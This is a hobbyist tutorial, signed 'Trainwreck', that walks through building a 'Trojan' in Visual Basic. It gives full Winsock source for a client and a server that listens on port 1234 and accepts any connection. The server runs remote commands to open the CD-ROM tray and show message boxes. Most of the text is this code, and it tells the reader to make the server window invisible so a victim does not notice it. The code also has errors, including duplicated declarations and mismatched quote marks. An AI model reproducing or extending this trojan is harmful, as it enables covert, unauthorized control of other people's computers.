"Deep
in the sea are riches beyond compare.
But if you seek safety, it is on the shore."
Making
Trojan in Visual Basic
We are gonna start with making the client first
because it’s the most simple one to code.
Ok now you should see you form click on it and rename it frmClient,
you can do that in the properties window on the left of the screen..
( Name | Form1 ) rename it to (Name | frmClient)
Once your done we’re gonna add the winsock
control.
The
Client
Private Sub cmdConnect_Click()
cmdConnect.Enabled = False ' disable the connect button
lblStatus.Caption = "Connecting" 'Show that you are
trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical
'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered
and on port 1234
End Sub
Private Sub cmdDisconnect_Click()
LblStatus.Caption = “Not Connected” ‘Show that
you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True ‘Enable the Connect button again
tcpClient.Close 'Close the connection
End Sub
Private Sub tcpClient_Connect()
lblStatus.Caption = "Connected" 'Show that your connected
to the Server
End Sub
Private Sub cmdOpen_Click()
tcpClient.SendData "opn 'send this string to the server
End Sub
Private Sub cmdClose_Click()
tcpClient.SendData "cls” 'send this string to the server
End Sub
Private Sub cmdMsg_Click()
tcpClient.SendData "msg" & txtMsg 'send this string
to the server and the text in the textbox
End Sub
Server side.
We’re gonna start with adding the winsock control again
as we did with the client.
Private Sub Form_Load()
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listening
End Sub
Private Sub tcpServer_ConnectionRequest(ByVal
requestID As Long)
tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests
End Sub
Private Sub tcpServer_Error(ByVal Number As Integer,
Description As String, ByVal Scode As Long, ByVal Source As String,
ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay
As Boolean)
On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again
End Sub
Ok now all this is done we’re going to do
the last part of the server coding.
We want to open / close the cd-rom door for that we need an API
call.
Dim SendStr As String, ReturnStr As String
Public Declare Function mciSendString Lib "winmm.dll"
Alias "mciSendStringA" (ByVal lpstrCommand As String,
ByVal lpstrReturnString As String, ByVal uReturnLength As Long,
ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Private Sub tcpServer_DataArrival(ByVal bytesTotal
As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the
server sent
tcpServer.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable
data
DoCommand cmddata, vardata ' This function is in the commands
module
End Sub
Private Declare Function mciSendString Lib "winmm.dll"
Alias "mciSendStringA" (ByVal lpstrCommand As String,
ByVal lpstrReturnString As String, ByVal uReturnLength As Long,
ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Public Function DoCommand(command As String, data
As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and
do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr,
0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr,
0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display
the message to the server as a ‘information messagebox
End Select ‘end the select case
End Function ‘end the function
Your done now compile the Client and Compile the
Server and test it, But before you do this don’t forget
to set the frmServer visibility to false. You can do that in the
property window click on your form and search for the word Visible
in the property window and set it to false.
Now you can compile it and test it. Perhaps on your self because
it not really infecting your self, it doesn’t startup automatically.
- Trainwreck |